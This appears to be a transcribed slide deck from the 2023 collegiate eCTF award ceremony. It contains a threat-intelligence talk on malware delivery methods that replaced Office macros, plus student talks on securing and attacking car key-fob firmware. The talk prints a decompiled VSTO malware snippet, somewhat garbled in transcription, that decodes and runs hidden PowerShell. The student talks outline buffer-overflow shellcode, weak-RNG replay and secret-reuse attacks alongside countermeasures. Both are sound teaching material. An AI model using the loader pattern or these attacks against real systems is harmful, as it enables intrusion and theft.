WELCOME
WE WILL GET STARTED SHORTLY

#eCTF2023
2023 Collegiate eCTF
Award Ceremony
#eCTF2023
Welcome Students

Reminders
  • Bathrooms

Security items
  • Emergency exits

Need us?
  • Look for the purple lanyards!

Dan Walters,
Senior Principal Microelectronics Solution Lead

#eCTF2023
Welcome to the 2023 eCTF Award Ceremony!

Ajit Kahaduwe
Managing Director of Incubation & New Product Development, MITRE Engenuity

https://www.linkedin.com/in/ajitkahaduwe
@akahaduwe
Stay Connected with eCTF LinkedIn Alumni Group

#eCTF2023
**eCTF**

Unique Competition Design

Focus on **Embedded**
Physical hardware opens scope to physical and proximal attacks

**Attack and Defend**
Students wear both hats by acting as both red team and blue team

**Extended Time**
Semester-long competition opens door to advanced attacks and countermeasures

#eCTF2023
Working to Close U.S. Embedded & Cybersecurity Workforce Gap

225 Students 2022 vs 546 Students 2023

2023 MAJORS
450 COLLEGIATE STUDENTS

- Computer Science 41%
- Cybersecurity 21%
- Electrical & Computer Engineering 5%
- Other 12%
- Computer Engineering 16%

Global Representation
- 80 Participating Schools
- 5 COUNTRIES
- 29 US STATES

- 96 high school students
- 317 undergraduate students
- 64 graduate students
- 69 PhD students
Thank You, Sponsors!

Special Thanks to our Award Ceremony Sponsor

#eCTF2023

© 2023 MITRE Engenuity, LLC. Approved for Public Release. Document number ME0076
## Today's Agenda

<table>
<thead>
<tr>
<th>Time</th>
<th>Schedule</th>
</tr>
</thead>
<tbody>
<tr>
<td>9:40 AM – 10 AM</td>
<td>A Word from <strong>Fortinet</strong> (Hossein Jazi)</td>
</tr>
<tr>
<td>10 AM – 10:05 AM</td>
<td>Competition Briefing (Kyle Scaplen)</td>
</tr>
<tr>
<td>10:05 AM – 10:20 AM</td>
<td>Student Presentation (UCSC)</td>
</tr>
<tr>
<td>10:20 AM – 10:35 AM</td>
<td>Student Presentation (Purdue)</td>
</tr>
<tr>
<td>10:35 AM – 10:50 AM</td>
<td>BREAK - Coffee</td>
</tr>
<tr>
<td>10:50 AM – 11 AM</td>
<td>A Word from <strong>CrowdStrike</strong> (Matthew Puckett)</td>
</tr>
<tr>
<td>11 AM – 11:15 AM</td>
<td>Student Presentation (WPI)</td>
</tr>
<tr>
<td>11:15 AM – 11:30 AM</td>
<td>Student Presentation (UIUC)</td>
</tr>
<tr>
<td>11:30 AM – 11:40 AM</td>
<td>A Word from <strong>Analog Devices</strong> (Doug Gardner)</td>
</tr>
<tr>
<td>11:40 AM – 12:50 PM</td>
<td>BREAK - Lunch</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Time</th>
<th>Schedule</th>
</tr>
</thead>
<tbody>
<tr>
<td>12:50 AM – 1:05 PM</td>
<td>Student Presentation (U-Buffalo)</td>
</tr>
<tr>
<td>1:05 PM – 1:20 PM</td>
<td>Student Presentation (CMU)</td>
</tr>
<tr>
<td>1:20 PM – 1:30 PM</td>
<td>BREAK - Coffee</td>
</tr>
<tr>
<td>1:30 PM – 2:00 PM</td>
<td>Award Presentation</td>
</tr>
<tr>
<td>2 PM – 2:15 PM</td>
<td>Closing Remarks</td>
</tr>
<tr>
<td>2:15 PM – 3 PM</td>
<td>Mingling and Photos</td>
</tr>
</tbody>
</table>

### #eCTF2023

Welcome
Hossein Jazi
Senior Cyber Threat Intelligence Specialist, Fortinet

#eCTF2023
The evolution of the threat landscape without Office macros

Hossein Jazi
Senior Threat Intelligence Specialist
FortiGuard Labs | Canada
hhadianjazi@fortinet.com
Internet Macros
Internet Macros

[Diagram showing the process of an internet macro, starting with an attachment in an email, followed by opening the spam campaign, then executing the macro, and finally opening the lure document.]
Internet Macros

- APT37

- UAC-0056
  (SaintBear, UNC2589)
Relaunch Required

In accordance with the requirements of your security policy, to display the contents of the document, you need to copy the file to the following folder and run it again:

for Microsoft Office 2013 x32 and earlier - C:\Program Files\Microsoft Office (x86)\Templates
for Microsoft Office 2013 x64 and earlier - C:\Program Files\Microsoft Office\Templates
for Microsoft Office 2016 x32 and later - C:\Program Files (x86)\Microsoft Office\root\Templates
for Microsoft Office 2016 x64 and later - C:\Program Files\Microsoft Office\root\Templates

Lockheed Martin
Lures

Reminder: Enable Macros to view Premium Recommendations

Advisory No. 19-70/2022-SA
Government of India

Ministry of Communications
Department of Telecommunications

Subject: Malicious Threats and Preventions

A cyber attack occurs if a threat successfully breaches security controls. Evidence shows that cyber attacks are growing in sophistication, frequency, and volume. One way granting access over internet places organisations and individuals at risk. In most of the cyber-attacks, the cyber threat actors use spear phishing campaigns to deceive individuals or the victims into installing malicious software. Hence, in order to understand the tactics of the cyber threat actors and protect against the Internet connected systems (smart phones, laptops, servers) as well as the users and to prevent any breach, follow the below steps:

1. Be aware of the common tactics, techniques, and procedures adopted by cyber threat actors to compromise the victim's personal devices or access the organisation's network. These tactics are as follows:

   a. Exploitation of application vulnerabilities
      - Cyber threat actors are exploiting the pre-existing vulnerabilities in the applications of organisations to steal data, which are meant only for authorised and authenticated users. Further, such applications are used to create backdoor access to the network or to gain access to other network devices.

   b. Creation of Dophins Apps
      - Dophin apps developed by malicious actors are being used to target users.
What happened?

- Microsoft announcement to disable Internet Macros

- Threat actors has started to test and adopt new methods to replace Internet macros
Evolution of Internet macros
Internet Macros

Macro based Word documents

Number of macro based Word documents per month

- 2020
- 2021
- 2022
- 2023

© Fortinet Inc. All Rights Reserved.
Alternative methods

Office Exploits
Office Exploits

- Equation Editor
- Remote template injection
- CVE-2021-40444
- Follina
CVE-2022-30190

Contains the malicious html payload

ms-msold abused to execute PS

Number of CVE-2022-30190 exploitations per month

© Fortinet Inc. All Rights Reserved.
Alternative methods

ISO/VHD images
ISO Images

The image on the left illustrates the process of creating ISO images, starting with ISO files. The process includes a packed payload, which can be Lockbot, Remcos, or Nanocore.

The image on the right is a graph titled "ISO files" showing the number of ISO files per month. The graph has a timeline from January to December and different lines for each year from 2020 to 2023.
Lnk files

[Diagram showing the process of Lnk files]

[Graph showing the number of Lnk files per month for the years 2020, 2021, 2022, and 2023]

© Fortinet Inc. All Rights Reserved.
VHD files

![VHD files diagram](image)

![VHD files graph](graph)
Alternative methods

Chm files
Chm files

*Diagram showing the process of Chm files and a line graph showing the number of Chm files per month from 2020 to 2023.*
Alternative methods

HTA files
HTA files

Decopy
Payload
Registry modification

Number of hta files per month

© Fortinet Inc. All Rights Reserved.
Alternative methods
VSTO

• A new method to abuse MS Office
  • Hiding PS within the add-in

```csharp
public class QbEmergencR : Task, ITask
{
    // Token: 0x00000024 RID: 36 RVA: 0x000002A4 File Offset: 0x000004A4
    public override bool Execute()
    {
        RUnspace runspace;
        for (; ; )
        {
            string scriptContents = "$s=New-Object IO.MemoryStream(\"\{Convert\}:FromBase64String(\"H4sICCI6CTG7AA26aX8c38y2MwYAWNjIFLwM2he/+kUKTQ/ ZUCB1fZEFxXkxk2kYkvZsBZgud/gv5yyu\"));\#EX {New-Object IO.StreamReader(New-Object IO.Compression.IStream\(\$s,\{IO.Compression.CompressionMode\}:Decompress))}.ReadToEnd();\");\n            runspace = RUnspaceFactory.CreateRunspace();
            runspace.Open();
            new RunspaceInvoke(runspace);
            Pipeline pipeline = runspace.CreatePipeline();
            pipeline.commands.AddScript(scriptcontents);
            pipeline.Invoke();
            catch (Exception)
            {
                continue;
            }
            break;
        }
        runspace.Close();
        return true;
    }
}
```
Alternative methods
Are Internet macros dead or alive?
Are Internet macros dead?

- Several Cyber crime and nation state actors still are using macros:
  - Emotet
  - Gozi ISFB
  - Donot APT
  - Confucius APT
  - SideCopy APT
  - Kimsuky
Conclusion

• Threat actors have started to migrate from macro-based documents to new methods
• Some actors are back to using macros
• Other attack vectors such as SocGolish are on the rise
Students: please be respectful of your opponents during team presentations and Q&A

Reminder:
- This event is being **recorded**
- By participating virtually or in-person, you consent to audio and video recording, as well as photography
# Thank You, Participants!

<table>
<thead>
<tr>
<th>Air Force Institute of Technology</th>
<th>ISD 196</th>
<th>Rose-Hulman Institute of Technology</th>
</tr>
</thead>
<tbody>
<tr>
<td>AJ College of Science and Technology</td>
<td>Johns Hopkins University</td>
<td>Searcy High School</td>
</tr>
<tr>
<td>Amrita Vishwa Vidyapeetham University</td>
<td>Kigore College</td>
<td>Singapore Management University</td>
</tr>
<tr>
<td>Baldwin Wallace University</td>
<td>Lakota East High School</td>
<td>Springfield-Clark County CTC</td>
</tr>
<tr>
<td>BASIS Chandler</td>
<td>Louisiana State University</td>
<td>SRM Institute of Science and Technology</td>
</tr>
<tr>
<td>Carnegie Mellon University</td>
<td>Marriotts Ridge High School</td>
<td>Symbiosys Institute of Technology</td>
</tr>
<tr>
<td>Center I (Albemarle County Public Schools)</td>
<td>Massachusetts Institute of Technology</td>
<td>Texas A&amp;M University</td>
</tr>
<tr>
<td>Clarendon High School</td>
<td>Michigan State University</td>
<td>Thadomal Shahani Engineering College</td>
</tr>
<tr>
<td>Clemson University</td>
<td>Morgan State University</td>
<td>The Harker School</td>
</tr>
<tr>
<td>Del Mar College</td>
<td>Mount Saint Dominic Academy</td>
<td>Thomas Jefferson High School for Science and Technology</td>
</tr>
<tr>
<td>Essex North Shore Agricultural and Technical School</td>
<td>New Century Technology High School</td>
<td>Tufts University</td>
</tr>
<tr>
<td>Farmington High School</td>
<td>New York University</td>
<td>United States Military Academy</td>
</tr>
<tr>
<td>Florida Atlantic University</td>
<td>Norfolk State University</td>
<td>University at Buffalo</td>
</tr>
<tr>
<td>Florida International University</td>
<td>North Carolina State University</td>
<td>University of Alabama in Huntsville</td>
</tr>
<tr>
<td>Georgia Institute of Technology</td>
<td>Northern Virginia Community College</td>
<td>University of Arizona</td>
</tr>
<tr>
<td>Hanze University of Applied Sciences</td>
<td>Nova Southeastern University</td>
<td>University of California Irvine</td>
</tr>
<tr>
<td>Harmony Science Academy</td>
<td></td>
<td>University of California Santa Cruz</td>
</tr>
<tr>
<td>Huntsville City Schools Cyber Academy</td>
<td></td>
<td>University of Colorado, Colorado Springs</td>
</tr>
<tr>
<td>Indian Institute of Technology Madras</td>
<td></td>
<td>University of Connecticut</td>
</tr>
<tr>
<td>Indiana Institute of Technology</td>
<td></td>
<td>University of Dayton</td>
</tr>
<tr>
<td>JSC 196</td>
<td></td>
<td></td>
</tr>
<tr>
<td>John Hopkins University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Kilgore College</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Lakota East High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Louisiana State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Marriotts Ridge High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Massachusetts Institute of Technology</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Michigan State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Morgan State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Mount Saint Dominic Academy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>New Century Technology High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>New York University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Norfolk State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>North Carolina State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Northern Virginia Community College</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Nova Southeastern University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Parkway Spark!</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Penn State Abington</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Purdue University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>River Hill High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Rose-Hulman Institute of Technology</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Searcy High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Singapore Management University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Springfield-Clark County CTC</td>
<td></td>
<td></td>
</tr>
<tr>
<td>SRM Institute of Science and Technology</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Symbiosys Institute of Technology</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Texas A&amp;M University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Thadomal Shahani Engineering College</td>
<td></td>
<td></td>
</tr>
<tr>
<td>The Harker School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Thomas Jefferson High School for Science and Technology</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tufts University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>United States Military Academy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University at Buffalo</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Alabama in Huntsville</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Arizona</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of California Irvine</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of California Santa Cruz</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Colorado, Colorado Springs</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Connecticut</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Dayton</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Edinburgh</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Illinois at Urbana-Champaign</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Maryland College Park</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Massachusetts Amherst</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of New Hampshire</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of New Haven</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of North Dakota</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Texas at Dallas</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Texas at Arlington</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Washington</td>
<td></td>
<td></td>
</tr>
<tr>
<td>University of Wyoming</td>
<td></td>
<td></td>
</tr>
<tr>
<td>US Air Force Academy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Virginia State University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Virginia Tech</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Wellington High School</td>
<td></td>
<td></td>
</tr>
<tr>
<td>West Virginia University</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Worcester Polytechnic Institute</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Xavier University</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Key:
- New Participant
- 2022 Champion
- High School
Meet the Organizers

Kyle Scaplen
Ben Janis
Brendan McEntee
Dan Walters
Eli Baum
Erin Ceddia
Jake Grycel
Kaycie Gillette-Mallard
Lou Fogel
Nicky Conus
Val Valenzuela
Competition Overview

Design Phase
Teams design and implement systems that meet security and functionality requirements

Handoff
Organizers test each design for functionality

Attack Phase
Teams analyze and attack each other’s designs for points

Jan 18
eCTF Kickoff

Mar 1
Attack Phase Begins

Apr 19
Attack Phase Ends

Apr 26
Award Ceremony

#eCTF2023

What Teams are Given

- Functional Requirements
- Hardware
- Automated Testing
- Security Requirements
- Example Code (Reference Design)
- Organizer Support
Design and implement secure firmware for a car and its key fobs

1. Build cars and fobs
2. Pair new fobs with existing cars
3. Package and enable features
4. Unlock a car with its key fob
A user should only be able to unlock a car if they have the proper fob.
Taking away the fob should revoke access from the car.
Security Requirements: Secure Communication

A snooper listening to the communications should not be able to unlock the car.
Security Requirements: Unauthorized Pairing

Someone shouldn’t be able to pair their own fob to your car.
A user should only be able to enable vehicle features they have access to.
University of California Santa Cruz
Team SlugSec
UCSC
University of California, Santa Cruz

Brian Mak
Steven Mak
Jeffrey Zhang
Victor Ho
Jackson Kohls

Nancy Lau
Iakov Taranenko
Stephen Lu
Chiara Knicker
Eya Badal Abdisho

Advised by: Professor Álvaro Cárdenas
Our Secure Design

● Almost completely in Rust
  ○ Memory safety
  ○ Used C to read uninitialized memory for the RNG, as doing so is undefined behavior in Rust

● Unlock/pairing challenge–response protocol
  ○ Random number as challenge
  ○ Prevents replay

● Signed features
  ○ Features (car ID + feature number) are signed with ECDSA using a manufacturer secret
Potential Improvements

● No teams successfully executed any attacks against us

● A couple things to harden
  ○ Use Von Neumann extractor on entropy input before hashing to gather a more precise amount of entropy per source
  ○ Add anti-glitching measures
Attack #1: Weak Static or Timing-Based RNG

- Challenge-response unlock
  - Initial seed static or mixed with timer
  - Sometimes rotating seed in EEPROM

- Reset and unlock using faster microcontroller
  - Can get RNG collisions in ~1/10 tries
  - Monitor car TX line to get consistent reset times

UC Santa Cruz
Attack Impacts and Countermeasures

● Impact of this attack
  ○ Temporary fob access can be enough for an attacker to steal a car at a later time

● Suggested countermeasures
  ○ Choose an RNG that is cryptographically secure
  ○ Seed it with sufficient entropy by incorporating multiple sources
    ■ Some may still be attacker-controllable
Attack #2: Weak Temperature-Based RNG

● Some teams use the temperature sensor to seed their RNG
● Temperature sensor measured through ADC
● ADC relies on GNDA and VDDA pins
● GNDA pin can be disconnected from pad
● Modifying GNDA voltage changes measurements
● Up to -0x200 change in measurement
● Saturation at 116.5625° C
Attack Impacts and Countermeasures

● Impact of this attack
  ○ As mentioned previously, a weak RNG generally allows us to replay with temporary fob access.

● Suggested countermeasures
  ○ Seed RNG with other entropy sources, especially ones that can't be well controlled by the user.
Other Attacks

● Successful attacks
  ○ Buffer overflow: use ROP to unlock car/extract pairing PIN
  ○ Deployment-wide secrets: use a paired key fob to unlock a car not
    paired to that key fob
  ○ PIN brute force: if there are no significant delays, try every PIN

● Unsuccessful attacks
  ○ RNG brute force: predict challenges by trying every seed
  ○ Use of non-cryptographically secure RNG: calculate the hash of a
    feature by using known outputs from the RNG
Final Comments

● Issues that made it difficult for us as an attacker
  ○ Outdated/non-existent documentation
  ○ Non-standard UART settings, such as two stop bits

● What we could have done with more time
  ○ Temperature-based RNG attack
  ○ Power analysis and glitching

● What we learned
  ○ TRUST NOTHING AND NO ONE
RSA Cracking Setups

<table>
<thead>
<tr>
<th>#</th>
<th>value</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>tye</td>
<td>835</td>
</tr>
<tr>
<td>1</td>
<td>Konpaku</td>
<td>486</td>
</tr>
<tr>
<td>2</td>
<td>XEUS</td>
<td>282</td>
</tr>
<tr>
<td>3</td>
<td>Kochiya</td>
<td>176</td>
</tr>
<tr>
<td>4</td>
<td>yagokoro</td>
<td>156</td>
</tr>
<tr>
<td>5</td>
<td>dlin-ubuntu</td>
<td>150</td>
</tr>
<tr>
<td>6</td>
<td>lynx-15v</td>
<td>148</td>
</tr>
<tr>
<td>7</td>
<td>compute1</td>
<td>142</td>
</tr>
<tr>
<td>8</td>
<td>solarflore</td>
<td>126</td>
</tr>
<tr>
<td>9</td>
<td>plantmachineectf</td>
<td>114</td>
</tr>
<tr>
<td>10</td>
<td>bsm-acer</td>
<td>108</td>
</tr>
<tr>
<td>11</td>
<td>brian-laptop-ubuntu-vm</td>
<td>102</td>
</tr>
<tr>
<td>12</td>
<td>deliburd</td>
<td>85</td>
</tr>
<tr>
<td>13</td>
<td>kall</td>
<td>79</td>
</tr>
<tr>
<td>14</td>
<td>Jackson-198</td>
<td>39</td>
</tr>
<tr>
<td>15</td>
<td>catputer</td>
<td>26</td>
</tr>
<tr>
<td>16</td>
<td>mobian</td>
<td>1</td>
</tr>
</tbody>
</table>

UC Santa Cruz
RSA Cracking Setups (Pt. 2)
The Graveyard
Misc.
Questions?
Purdue University
Team b01lers
b01lers

Purdue University

Jacob White
Siddharth Muralee
Muhammad Ibrahim
Bo-Shiun Yen
Ashwin Nambiar
Abhishek Reddypalle

Advisors:
Dr. Antonio Bianchi
Dr. Aravind Machiry
Outline

● Design Overview
  ○ Design Philosophy
  ○ Threat Model
  ○ System Design
  ○ Improvements

● Attack Phase
  ○ Stack Leak
  ○ Weak PRNG
  ○ Common Attacks

● Final Comments and Lessons Learned
Design Phase
Design Philosophy

● Define a comprehensive threat model, especially for buffer overflows and side-channels

● Avoid over-engineering our protocols, to reduce risk of introducing vulnerabilities

● Limit the impact and scope of exploits, even if compromise does occur
**System Design**

- **Replay attacks**
  - Secure PRNG + many entropy sources
  - Large random unlock challenge
  - Paired fob proves by decrypting with key

- **Buffer overflows**
  - memset uninitialized + unused data to 0
  - Known lengths for UART + processing

- **Side channels**
  - Use side-channel resilient cryptography
  - No secret-dep. computation or branching
  - EEPROM Layout Randomization

- **Brute force**
  - Salt PIN hash to prevent guessing if leaked
  - Persistent ~5 sec. timeout on any error
## Threat/Capability Matrix

<table>
<thead>
<tr>
<th>Goal Capability</th>
<th>Brute forcing pairing Pin</th>
<th>Unauthorized car unlock</th>
<th>Unauthorized car features</th>
<th>Unauthorized fob duplication</th>
</tr>
</thead>
<tbody>
<tr>
<td>Access to car</td>
<td>No PIN on car</td>
<td>Symmetric keys on car/fob</td>
<td>Unique feature passwords</td>
<td>No PIN on car</td>
</tr>
<tr>
<td>Temporary fob access</td>
<td>Delay</td>
<td>Unique challenge-response</td>
<td>Unique feature passwords</td>
<td>Salt-then-hash pairing PIN</td>
</tr>
<tr>
<td>Access to car with features</td>
<td>No PIN on car</td>
<td>Symmetric keys on car/fob</td>
<td>Unique feature passwords</td>
<td>No PIN on car</td>
</tr>
</tbody>
</table>
Protocol Overview

Unlock Car
- Symmetric key AEAD Encryption using ASCON
- Randomized challenge-response by car to fob

Pair Fob
- Salted and hashed 6-digit pairing PIN
- Persistent 4 sec. timeout on each PIN attempt

Enable Feature
- Unique 32-bit feature password for each car
- Salted and hashed feature stored on car
Our manufacturing process involves the creation of a randomized EEPROM layout for each car produced. This security measure ensures that any attacker who gains access to the EEPROM will be unable to discern the location and content of stored data without reversing the code.
Possible Improvements to Design

**Binary Layout Randomization (Compile-Time).** Modifying our defense strategy to encompass randomized layout for other sections, such as the .text and .stack, would have resulted in a more formidable challenge for teams seeking to attack our design.

**Better PRNG entropy and implementation.** We could have looked harder for an existing PRNG implementation instead of rolling our own. We could have improved entropy by sampling (smallest bit of) temperature and sourcing from many samples.

**Mutual car-fob and fob-fob authentication.** We didn't fully capture the impact of authenticating fobs in the protocols, or how AEAD encryption supports this on unlock. Using signatures or even HMACs would have made it harder to impersonate fobs.

**Digitally sign features.** Instead of relying on the uniqueness of feature passwords and minimal number of cars when authorizing each car's features, we could have digitally signed a unique feature ID.

**Prevent fault injection attacks.** Verify each of the conditional checks multiple times to prevent any possibility of glitching.
Attack Phase
Boards with flags can only run signed firmware images. However, the attacker can flash any correctly signed firmware at any point on the car/fob.

By flashing a vulnerable and a victim firmware on the car/fob, we leveraged the vulnerable firmware to extract sensitive data left behind from victim firmware images.

By leveraging these leaks, we successfully extracted private keys and pairing pins on the test boards. However, this attack did not work on keyed boards since the bootloader clears the SRAM and removes any sensitive data left by the victim team.
Countermeasure to Stack Leak

- **Countermeasure:** Ensure that variables stored on stack are wiped when not needed

```c
char pin[8];
// Retrieve from EEPROM
get_secret_pin(NULL, pin)
if(strncmp(pin, rcvd_pin, 6) != 0) {
    // If pin is invalid, sleep and return
    SLEEP();
    return;
}
...
...
// Wipe pin
memset(pin, 0, 8);
```
Secure cryptography requires good randomness. However, the attacker effectively has a save state of the car through the distributed firmware.

By flashing a vulnerable car/fob, we reset the PRNG to the same initial state if the team doesn’t design it properly.

We can first flash the car/fob, observe the PRNG output through the challenges, then re-flash the car/fob and get the same challenge.

**Countermeasure:** Introduce entropy on flash / first boot / first randomness output. There are several sources of good entropy on board that can be used to seed the PRNG, which mitigates the issue.
Common Attacks

- **Shared Secrets**: Shared secrets allowed reusing fobs on other cars.

- **Brute Force**: No limits on the number of attempts allowed to brute force the PIN on the fob.

- **Buffer Overflow**: We wrote exploits to leak flags and pins from various teams.
Final Comments

● What features of opponents’ systems made things difficult for you as an attacker?
  ○ Secure designs with high-entropy RNG
  ○ Inconsistency between comments, docs, and code
    ■ This is NOT a recommendation to use security by obscurity...
  ○ Memory-safe Rust

● Would some of your attacks also be successful against your own system?
  ○ Likely, replay attacks on weak PRNG
  ○ Stack leak is also potentially possible against our system
Final Comments

- With more time and resources, what other things would you have done?
  - **Design Phase:** Prevent fault injection attacks, digitally sign features, randomize binary layout, compile with Checked C, thoroughly audit crypto libraries + code
  - **Attack Phase:** Side-channel attacks, automate common attacks

- What was the most valuable thing you learned during the competition?
  - Read the rules properly (Strategy is very important)
  - Prep infra/tools for attack phase earlier
Questions?
BREAK
10:35AM-10:50AM
Restrooms, Refreshments
See you soon!

#eCTF2023
Worcester Polytechnic Institute
Team TheMuffinMob
The **Muffin Mob**

*Worcester Polytechnic Institute*

Arthur Ames          Harrison Kyriacou
Jake Backer          Iv Robinson
Katherine Jesse      Advisor: Robert Walls
Kai Kaufman          

Our honorary advisor, Muffin
Outline

• Our Secure Design
  • Overview
  • Protocol Details
  • Mistakes and Potential Improvements

• Attack Phase Highlights
  • Buffer Overflows
  • Secret Reuse

• Other Attacks

• Final Comments and Lessons Learned
Our Secure Design
Overview

• Built with Rust to ensure memory safety
• Simple packet format: encrypted message + nonce + MAC
• Unique secrets for every car/fob pair
  • This addresses SR1
• Digital signatures are used to verify the authenticity of packaged features
  • This addresses SR5 and partially addresses SR6
• Unpaired fobs do not have any secrets and cannot communicate with any car.
  • This addresses SR4
Protocol Details - Communications

• XChaCha20/Poly1305 are used for encryption/authentication

• Nonces are randomly* generated by the receiving party
  • This addresses SR2 and SR3
  • One exception: the enable feature protocol accepts any nonce, since replay attacks are not a concern

• Nonces have short validity windows to hamper RollJam-style attacks
  • This also addresses SR2 and SR3

* We thought they were random, at least…
Protocol Details – Unlock Car

• Fob keeps a 256-bit “password” that can unlock the car
• Fob sends password, car verifies it
  • The car does not know its own password in any form!
  • Password is fed into PBKDF2 to generate a key
  • Key is used to decrypt and verify a “success” message
  • If that succeeds, the password is known to be correct
• Fob sends enabled features to car
• Car verifies enabled features
• Unlock is done!
Protocol Details – Pair Fob

• Unpaired and paired fobs perform ECDHE to generate a symmetric key

• Unpaired fob sends pairing request with PIN

• Paired fob receives pairing request and verifies PIN
  • Like cars don’t know their passwords, paired fobs don’t know their PINs
  • The car password verification process is replicated here, just with the fob’s PIN instead of the car’s password

• If the PIN is correct, paired fob responds with a packet containing secrets
Protocol Details – Enable Feature

• Feature package takes the form of an encrypted packet with a pre-generated nonce
• Fob decrypts and verifies package
  • Sending a package for car 2 to a fob for car 1 will obviously fail (now SR6 is completely addressed!)
  • Creating a new package is impossible without the target car’s feature signing key
    • The feature signing key can be considered nonexistent
• Fob adds package to feature store
• The car owner can now enjoy their new car DLC
Mistakes and Potential Improvements

• Things that would have been nice:
  • Prevent partial unlocks
    • These would never actually happen in practice
    • Theoretical issue that could arise from an attacker somehow loading an invalid feature onto a fob
  • More aggressive delays for invalid pair/unlock requests

• Mistakes we made that we realized too late:
  • RNG wasn’t good enough!
    • RNG seed was generated at build time (problem #1)
    • RNG did not incorporate any environmental sources of entropy (problem #2)
    • Impact: we lost Temporary Fob Access + Passive Unlock flags
  • Some data was in EEPROM that was never actually used.
    • Impact: None – it wasn’t a big deal, although it could have been!
Attack Phase Highlights
Buffer Overflows

• Lots of teams used `uart_readline` from the reference design
  • Similar to the `gets` function from C
  • Allows for buffer overflows
  • Buffer overflow leads to control-flow hijacking

• Generic attack:
  • Find a function that calls `uart_readline` (for example, `enableFeature`)
  • Figure out offset of return address from buffer on stack
    • Also look for a POP `{..., PC}` instruction to make sure we can do this attack at all
  • Figure out the address of the shellcode portion of our buffer
    • Always the same because of fixed stack location
  • Write shellcode to dump flash and/or EEPROM to UART
  • Extract secrets 😊
Attack Impacts and Countermeasures

• Impact of this attack:
  • Being able to run shellcode (or even a ROP chain) means we can do basically whatever we want
  • Extracting secrets was very easy and yielded lots and lots of flags

• Countermeasures:
  • Modify uart_readline to perform bounds checking; or,
  • Don’t use uart_readline at all.
Secret Reuse

• Several teams used the same keys/secrets for each device
  • This includes car/fob 0!
  • Shared encryption keys
  • Shared unlock passwords
  • Whatever it is... global secrets usually aren’t great

• Generic attack:
  • Extract secrets from fob 0
  • Compile fake fobs with the extracted secrets hardcoded
  • Unlock cars
  • Get flags
Attack Impacts and Countermeasures

• Impact of this attack:
  • We can unlock any car with the information gained from one fob!
  • Basically defeats the purpose of the system

• We almost made this mistake
  • Noticed and fixed it at the eleventh hour
  • Lesson: Always read the rules, then re-read them, and do it again for good measure

• Countermeasures:
  • Don’t use global secrets when the attacker has easy access to them (in this case, through car/fob 0)
  • Ideally, the secrets should be random and not deterministic in any way
Other Attacks

- Unlocking any car through a packaged feature
  - No binary exploitation required
  - The reuse of another secret was the fatal flaw
- Enabling features by asking politely
  - No crypto, so we just used `echo` to send an `ENABLE_PACKET`
- Exploiting a typo
  - Located in build script
  - Caused all devices to use the same keys
  - Allowed us to unlock whatever car we wanted
Final Comments

• Things other teams did that made our attack phase harder:
  • Not reusing secrets
  • Not having any buffer overflow vulnerabilities
  • Signing packaged features

• How our attacks would work against our own design:
  • Buffer overflows weren’t a concern because we used Rust
  • We narrowly avoided a key reuse disaster (see figure 1)

• Things we would’ve done if we had more time:
  • Improved our RNG (maybe)
  • Tidied up our code a bit more
  • Fixed some random tiny things that were more annoying than problematic

• Lessons learned:
  • Anything that can go wrong will go wrong, so critically examine everything that contributes to security
    • We should have red-teamed our own design some more!
    • “A chain is only as strong as its weakest link.”
  • Make sure you fully understand the rules before you start developing your design!
    • Like.. fully understand them, fine print and all
    • Don’t have your own figure 1 moment.

Figure 1: It was at this moment that one of us knew... we messed up.
Questions?

Feel free to reach out over Slack, too!
University of Illinois Urbana-Champaign
Team SIGPwny
Team


Advised by Professor Kirill Levchenko

* Member names in **bold** are presenting.
Outline

- Design Phase
  - PwnyPARED
